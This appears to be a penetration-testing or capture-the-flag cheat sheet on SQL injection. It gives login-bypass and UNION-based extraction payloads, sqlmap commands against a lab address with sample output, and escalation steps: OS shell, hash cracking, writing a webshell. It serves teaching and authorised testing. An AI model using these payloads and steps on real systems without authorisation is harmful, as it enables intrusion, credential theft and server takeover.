SQL Injection (Authentication Bypass & Data Extraction)
Concept
SQL injection happens when user input is concatenated into a SQL query unsanitized, letting an attacker alter query logic to bypass authentication, extract data, or (with enough privilege) read/write files or execute commands.
When to Use
- A login form, search box, or URL parameter feeds directly into a backend query.
- Error messages leak SQL syntax when a quote or special character is submitted.
Workflow
- 1Identify the injectable input
Submit a single quote and look for a DB error.
- 2Confirm injection type
Boolean, error-based, union-based, or time-based blind.
- 3Bypass authentication or extract data manually
Simple payloads first.
- 4Automate extraction with sqlmap
Once confirmed, let sqlmap enumerate DBs/tables.
- 5Escalate if possible
File read/write, command execution depending on DB engine/privileges.
Commands
' OR '1'='1Username: admin' OR '1'='1'-- - Password: anything
Classic authentication-bypass payload: makes the WHERE clause always true, and comments out the rest of the query.
When to use: First manual test against a login form suspected of concatenating input into SQL.
Expected output:
Logged in as the first user in the table (often admin), or an application error.
Look for: Successful login, or a verbose SQL error revealing the query structure.
Next step: If it works, you're in; if it errors, read the error to refine the payload (quote style, comment syntax for the DB engine).
sqlmap -u 'TARGET_URL' --data 'PARAM=VALUE' --batch --dbssqlmap -u 'http://10.10.11.25/login.php' --data 'user=admin&pass=x' --batch --dbs
Automates detection and exploitation of the injection, then lists available databases.
--data— POST body to send; sqlmap tests each parameter in it.--batch— Accept sqlmap's default answer to every prompt (non-interactive).--dbs— Enumerate database names once injection is confirmed.
When to use: Once a manual test suggests injection, to confirm and extract systematically.
Expected output:
available databases [3]: [*] ctf_app [*] information_schema [*] mysql
Look for: Application-specific database names (skip information_schema/mysql defaults).
Next step: sqlmap -D ctf_app --tables, then --dump on the users table.
' UNION SELECT NULL,NULL,NULL-- -http://10.10.11.25/product.php?id=1' UNION SELECT NULL,username,password FROM users-- -
UNION-based injection: appends a second SELECT to merge attacker-chosen data into the page output, once the correct column count is found.
When to use: When the page reflects query results directly (e.g. a product listing) rather than a login form.
Expected output:
Page renders extra 'row' containing username/password values in place of the normal product fields.
Look for: Column count errors (adjust NULL count) then real data appearing in the rendered fields.
Next step: Expand the UNION SELECT to pull full user tables, or query information_schema for table/column names first.
Tools
SQLmap
Automated SQL injection detection and exploitation.
When to use: After confirming injection manually, to enumerate/extract efficiently.
sudo apt install sqlmapsqlmap -u URL --data 'body' --batch--dbs / --tables / --dump— Progressive enumeration: databases -> tables -> rows.--os-shell— Attempt OS command execution if DB privileges allow (MySQL FILE priv, xp_cmdshell, etc.).
Example workflow: Confirm injection -> --dbs -> -D db --tables -> -T users --dump.
Burp Suite
Precise manual payload crafting and replay.
When to use: When sqlmap's requests need custom headers/tokens (CSRF, auth) to reach the vulnerable parameter.
Capture request in Proxy -> Repeater -> modify payload.Example workflow: Capture the exact authenticated request, then hand it to sqlmap with -r request.txt.
Findings & Interpretation
Interesting
- Full user table with password hashes
- DB user with FILE privilege (MySQL) enabling file read/write
Suspicious
- Verbose SQL error messages in responses (information disclosure, aids exploitation)
False Positives
- A page that errors on any malformed input, not specifically SQL syntax — confirm with a SQL-specific comment payload vs a generic broken request
How to Validate
- Use a boolean pair (always-true vs always-false payload) and confirm the response actually differs
Next Step
- Crack any extracted password hashes (see Password & Credential Attacks).
- If FILE privilege exists, attempt to read source code or write a webshell.
Troubleshooting
sqlmap reports 'parameter does not seem injectable'.
Likely cause: WAF/filtering, wrong parameter targeted, or needs an auth cookie to reach the vulnerable code path.
Verify: Re-test the exact manual payload that worked in the browser; check sqlmap is sending the same cookies/headers (--cookie, -r).
Fix: Capture the raw request with Burp and pass it to sqlmap via -r request.txt instead of reconstructing it manually.
Recovery: Add --level 5 --risk 3 to test more payload variants (slower, more thorough).
Avoid repeating: Don't skip manually confirming injection first — it saves time versus guessing sqlmap flags blind.